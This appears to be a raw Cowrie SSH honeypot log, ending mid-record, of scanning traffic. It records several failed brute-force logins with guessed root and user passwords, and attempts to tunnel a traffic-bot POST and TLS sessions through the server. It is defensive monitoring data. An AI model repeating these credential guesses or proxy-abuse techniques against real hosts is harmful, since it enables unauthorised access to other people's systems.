{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":32788,"dst_ip":"159.203.135.109","dst_port":22,"session":"40a885ad7b9b","protocol":"ssh","message":"New connection: 160.187.180.146:32788 (159.203.135.109:22) [session: 40a885ad7b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:44.721900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:44.726172Z","src_ip":"160.187.180.146","session":"40a885ad7b9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":56572,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cc7fd856af9","protocol":"ssh","message":"New connection: 103.27.238.116:56572 (10.17.0.5:22) [session: 1cc7fd856af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:44.736786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:44.741542Z","src_ip":"103.27.238.116","session":"1cc7fd856af9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:44.947664Z","src_ip":"160.187.180.146","session":"40a885ad7b9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:45.026571Z","src_ip":"103.27.238.116","session":"1cc7fd856af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"123456","message":"login attempt [cloud/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:45.416641Z","src_ip":"91.92.40.36","session":"7dff716da3db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazwsx123456","message":"login attempt [root/Qazwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:45.623058Z","src_ip":"45.78.204.254","session":"d6432b90fd1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@root123","message":"login attempt [root/root@root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:45.884966Z","src_ip":"160.187.180.146","session":"40a885ad7b9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prophet","message":"login attempt [root/prophet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:45.897540Z","src_ip":"103.27.238.116","session":"1cc7fd856af9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:46.045649Z","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:46.083991Z","src_ip":"173.208.188.210","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.3 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=fm8hZktfekZscX03Rm40Pw%3D%3DExajWVGEgPqarJnW3WQnaa5Rs9V96oRo3Dk4PPQtiB0rzWqR%2B7Q0tu99RVp4oto0ZkEkgGOUimXJ%2FQJPkINeAEHFXjt1NXVRLaIlr1zPeYzhOMt8CvA6RahH%2BSivb%2FCXAvgHHhqllJbpBKHe1G%2BTh0rnSHQspQwuEV1a%2F34YTHEKEU2huefH%2B%2BoGsSPoay5TqdOKTbFftRbNcuaxNJfL9o7Bl77TvaTqRpv%2Bdy8yAWdujOKgXt5fEbvjad0B0hdTpu8WtegfvpEJP7YXWRUqRWynWQx3qFPT3mzs0QvHleE2OachzSQQVDMBBtRQ9fpzTTOftU3lvmb4ljapv1WbWTlyl%2F3bJt1%2BUZ52K1N2MdUyrgYLFWeS%2Bir8Lw2nUqHSTejw4OsUfniuY9%2BYzUpsLIfkt80w%2FJLmXarbyK%2Fc0wDuC66RTDYPaTSBNIvW05SLGbQTy5OnyxmUpIFeBKRop7lGw3Wp3Zom57yb5Nn6Yogpd5DvpSbNWWa9JYTvHzQqhokGDsufgexn73nyfUTDZ9CkEn7oStu09AVTO64LafirefhfraBoIR792odUKF3QKpAq%2FH%2FLncpyYFi3vnPEqD6VYSRrjGYF5Oxu87Yw3fpDiZwwaGSgT0pUc%2BKGfYYd400j93cb70cYg8WOYsZwvu4mqHPYSfH8hPQYPwYj5uU1lyUedbU6X9svU7ecVRk2MiaVFMnJ22CjWRGoPp9ug2K%2Btc2O1sTYgfkaj4OAvIbdgvx6U7mfZJTkT8hjpdy5Ccbl8WrqccBvxlS6bw2lRusbMoiC0JIUaKcRrB%2F3qG1NewZpjW6yB%2F%2BJpLdYAVzrJuNmFVCD5JZcfMjHBbr91ZZZYBf8wd02G6qMf3mBsJdZ%2F7VOLydm3OHiTBJTussoCm333x2ezzh6VDMNpBrxyYidWf3p9vOkdqF76BWKNs51QHhYVNtJLqxd8I2c9KIIznlaxcLliJF%2Ff57IQC643BnvU4lvIVhUOkitdELNi2XGQcz3sDOE868ONQ6XMAqpmkHj5N5hvDI8wPUkAc53mdbVVLrzFpQz7Bz%2Bq%2BkSrIY%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.3 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=fm8hZktfekZscX03Rm40Pw%3D%3DExajWVGEgPqarJnW3WQnaa5Rs9V96oRo3Dk4PPQtiB0rzWqR%2B7Q0tu99RVp4oto0ZkEkgGOUimXJ%2FQJPkINeAEHFXjt1NXVRLaIlr1zPeYzhOMt8CvA6RahH%2BSivb%2FCXAvgHHhqllJbpBKHe1G%2BTh0rnSHQspQwuEV1a%2F34YTHEKEU2huefH%2B%2BoGsSPoay5TqdOKTbFftRbNcuaxNJfL9o7Bl77TvaTqRpv%2Bdy8yAWdujOKgXt5fEbvjad0B0hdTpu8WtegfvpEJP7YXWRUqRWynWQx3qFPT3mzs0QvHleE2OachzSQQVDMBBtRQ9fpzTTOftU3lvmb4ljapv1WbWTlyl%2F3bJt1%2BUZ52K1N2MdUyrgYLFWeS%2Bir8Lw2nUqHSTejw4OsUfniuY9%2BYzUpsLIfkt80w%2FJLmXarbyK%2Fc0wDuC66RTDYPaTSBNIvW05SLGbQTy5OnyxmUpIFeBKRop7lGw3Wp3Zom57yb5Nn6Yogpd5DvpSbNWWa9JYTvHzQqhokGDsufgexn73nyfUTDZ9CkEn7oStu09AVTO64LafirefhfraBoIR792odUKF3QKpAq%2FH%2FLncpyYFi3vnPEqD6VYSRrjGYF5Oxu87Yw3fpDiZwwaGSgT0pUc%2BKGfYYd400j93cb70cYg8WOYsZwvu4mqHPYSfH8hPQYPwYj5uU1lyUedbU6X9svU7ecVRk2MiaVFMnJ22CjWRGoPp9ug2K%2Btc2O1sTYgfkaj4OAvIbdgvx6U7mfZJTkT8hjpdy5Ccbl8WrqccBvxlS6bw2lRusbMoiC0JIUaKcRrB%2F3qG1NewZpjW6yB%2F%2BJpLdYAVzrJuNmFVCD5JZcfMjHBbr91ZZZYBf8wd02G6qMf3mBsJdZ%2F7VOLydm3OHiTBJTussoCm333x2ezzh6VDMNpBrxyYidWf3p9vOkdqF76BWKNs51QHhYVNtJLqxd8I2c9KIIznlaxcLliJF%2Ff57IQC643BnvU4lvIVhUOkitdELNi2XGQcz3sDOE868ONQ6XMAqpmkHj5N5hvDI8wPUkAc53mdbVVLrzFpQz7Bz%2Bq%2BkSrIY%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:46.087991Z","src_ip":"173.208.188.210","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:46.293585Z","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:46.394107Z","src_ip":"173.208.188.210","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x86\\x98\\x03\\x1c\\xd2\\x19\\x18\\x88\\x84uo\\xcf\\x8d\\xf5\\x87<\\xe5\\x94\\r\\xe0\\xa1\\x0c\\x86O\\xc0\\xc0z]\\xd9\\x05\\xdc\\xc1 j\\xc3\\x8d\\x1f\\xb7.\\x89\\xb5\\x17\\xfa\\x92\\xd8\\xf7\\xbd\\xd0\\x85<\\xd2T\\xa3\\xcb\\x87E\\x8c\\xfd~\\xc3i\\xf6\\xc5iw\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0b\\xe1_\\x10\\xa4k\\t*\\xfc>\\x049\\x96h|M\\x95\\xc1P\\x145\\xf7yg\\xef1\\xc3\\x9c\\x19\\xc0\\x95*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x86\\x98\\x03\\x1c\\xd2\\x19\\x18\\x88\\x84uo\\xcf\\x8d\\xf5\\x87<\\xe5\\x94\\r\\xe0\\xa1\\x0c\\x86O\\xc0\\xc0z]\\xd9\\x05\\xdc\\xc1 j\\xc3\\x8d\\x1f\\xb7.\\x89\\xb5\\x17\\xfa\\x92\\xd8\\xf7\\xbd\\xd0\\x85<\\xd2T\\xa3\\xcb\\x87E\\x8c\\xfd~\\xc3i\\xf6\\xc5iw\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0b\\xe1_\\x10\\xa4k\\t*\\xfc>\\x049\\x96h|M\\x95\\xc1P\\x145\\xf7yg\\xef1\\xc3\\x9c\\x19\\xc0\\x95*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:46.397233Z","src_ip":"173.208.188.210","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:46.481423Z","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:46.517289Z","src_ip":"173.208.188.210","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\xe1\\x12O#\\xaa@\\x81G\\xc8\\\\|\"\\xb3\\xb8jW\\xb2\\xba\\xd7\\xdba\\x95\\xe4\\xf9w\\x03\\xdb\\x0b\\xd0\\xf8\\x00 T\\xea\\xf6\\xcfk/\\x17O\\xbb,\\xf9\\xe3\\xf0\\xef\\x8f\\xd8\\xbd\\x04c\\xd9Bf\\x03\\x08<\\xb4W\\xe7\\xf6\\xf1\\x92\\xc1\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xee\\x8b[\\x89\\xdb\\x1c\\xda\\xf9\\xa6\\r\\x82<\\xbf\\xc5\\x7f\\xb0\\xdd\\\\\\xbf\\xa4\\xedqKZ\\xa1\\xac\\xb3\\xf9$\\xab\\xb5s\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\xe1\\x12O#\\xaa@\\x81G\\xc8\\\\|\"\\xb3\\xb8jW\\xb2\\xba\\xd7\\xdba\\x95\\xe4\\xf9w\\x03\\xdb\\x0b\\xd0\\xf8\\x00 T\\xea\\xf6\\xcfk/\\x17O\\xbb,\\xf9\\xe3\\xf0\\xef\\x8f\\xd8\\xbd\\x04c\\xd9Bf\\x03\\x08<\\xb4W\\xe7\\xf6\\xf1\\x92\\xc1\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 